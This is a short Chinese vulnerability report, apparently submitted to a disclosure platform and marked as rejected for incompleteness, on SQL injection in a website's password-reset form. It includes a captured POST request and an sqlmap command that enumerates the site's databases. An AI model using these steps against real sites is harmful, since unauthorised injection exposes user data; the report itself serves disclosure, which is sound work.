用户忘记密码处过来不严,导致SQL 注入
http://xxx.xxxxx.net/
首页有用户注册,但是有验证码,目测不是那么好搞,点击一下忘记密码 功能
http://xxx.xxxx.net/xxxx.php/life/forgetpwd
这个只要输入手机号码就可以了,不要验证码,这里应该会有和数据库交互的地方,于是,随意输入一串手机号码,然后用burpsuit 抓包,
保存记事本yst.txt
POST /xxxx.php/life/forgetpwd HTTP/1.1
Host: xxx.xxxx.net
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxxx.net/index.php/life/forgetpwd
Cookie: PHPSESSID=fb77689c7d6a7f043cc4d55d63e52abb
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
action=save&phone=133333333&submitbtn=%C8%B7%B6%A8
放入sqlmap 因为这个代码为php写的,猜测这个数据库类型90%是mysql数据库类型,写出sqlmap的命令
python sqlmap.py -r yst.txt --dbms=mysql --dbs 跑数据库
==========================================
过程不够完整,故不予通过。
|